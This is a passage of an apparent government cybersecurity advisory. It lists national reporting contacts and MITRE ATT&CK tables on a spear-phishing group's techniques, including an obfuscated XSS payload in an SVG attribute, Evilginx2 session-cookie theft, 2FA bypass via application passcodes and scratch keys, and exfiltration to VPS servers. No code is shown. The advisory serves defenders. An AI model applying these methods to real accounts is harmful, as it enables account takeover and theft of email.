<li>Finnish Security and Intelligence Service: <a href="https://supo.fi/en/contact" target="_blank"><u>supo.fi/en/contact</u></a> </li>
</ul>
<p><strong>French organizations </strong></p>
<ul>
<li>French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: <a href="mailto:cert-fr@ssi.gouv.fr" target="_blank"><u>cert-fr@ssi.gouv.fr</u></a> or by phone at: 3218 or +33 9 70 83 32 18. </li>
</ul>
<p><strong>Italian Organizations </strong></p>
<ul>
<li>Italian External Intelligence and Security Agency (AISE):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a>  </li>
<li>Italian Internal Intelligence and Security Agency (AISI):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a> </li>
</ul>
<div class="OutlineElement Ltr SCXW214395380 BCX8">
<p><strong>Moldovan organizations </strong></p>
</div>
<div class="ListContainerWrapper SCXW214395380 BCX8">
<ul type="disc">
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM): <a href="mailto:cybersec@sis.md" target="_blank"><u>cybersec@sis.md</u></a> </li>
</ul>
</div>
<p><strong>Polish organizations </strong></p>
<ul>
<li>Polish Foreign Intelligence Agency (AW): <a href="mailto:ctiteam@aw.gov.pl" target="_blank"><u>ctiteam@aw.gov.pl</u></a></li>
</ul>
</div>
</div>
<h2><strong>Appendix A: MITRE ATT&amp;CK tactics and techniques</strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table9"><strong>Table 9</strong></a> through <a href="https://www.cisa.gov/#table19"><strong>Table 19</strong></a> for all the threat actor tactics and techniques referenced in this advisory.<a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 9: Reconnaissance </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Credentials </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank"><u>T1589.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to intercept a victim’s password from their password manager. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Email Addresses </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank"><u>T1589.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to grab the victim’s email address from various data stores. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Websites/Domains </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank"><u>T1593</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group likely leverages public information to support target development. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Active Scanning </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank"><u>T1595</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Port scanning can be used by this group to assist with determining exploitability of identified targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Technical Databases: Scan Databases </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank"><u>T1596.005</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Various public datasets can provide information to support discovery of exploitable targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank"><u>T1597</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previously exfiltrated data can be used to enhance target development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources: Purchase Technical Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank"><u>T1597.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Commercial datasets can also be used to support target development efforts. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<div class="WACAltTextDescribedBy SCXW76044448 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 10: Resource Development </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/" target="_blank"><u>T1583</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group used Mullvad VPN to anonymize traffic sent to operational infrastructure. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group procured VPS servers from a variety of vendors. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank"><u>T1587</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The <em>Ulej</em> capability was developed likely for use by this group to conduct spear phishing campaigns. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Malware </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank"><u>T1587.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel payload that steals a victim’s emails and other sensitive account information. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Exploits </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank"><u>T1587.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Tool </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank"><u>T1588.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Open source tools, such as Evilginx2, have also been used by the group. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Artificial Intelligence </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank"><u>T1588.007</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group appears to have leveraged AI to support development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stage Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1608/" target="_blank"><u>T1608</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Flowerbed is deployed to a procured server in the cloud. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 11: Initial Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Trusted Relationship </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank"><u>T1199</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Phishing </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank"><u>T1566</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The actors used spear phishing to lure users into opening malicious email. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 12: Execution </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exploitation for Client Execution </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank"><u>T1203</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>An XSS vulnerability was leveraged to execute the JavaScript payload. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 13: Persistence </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Manipulation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank"><u>T1098</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Enabling IMAP and Application Passcodes provides persistent access to the compromised account. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 14: Privilege Escalation </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 15: Stealth </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Command Obfuscation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank"><u>T1027.010</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Encrypted/Encoded File </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank"><u>T1027.013</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: SVG Smuggling </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank"><u>T1027.017</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload was contained in an “onload” attribute within an SVG image included in the malicious email. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Use Alternate Authentication Material: Web Session Cookie </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank"><u>T1550.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 16: Credential Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Adversary-in-the-Middle </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank"><u>T1557</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 17: Collection </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Data Staged: Remote Data Staging </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank"><u>T1074.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
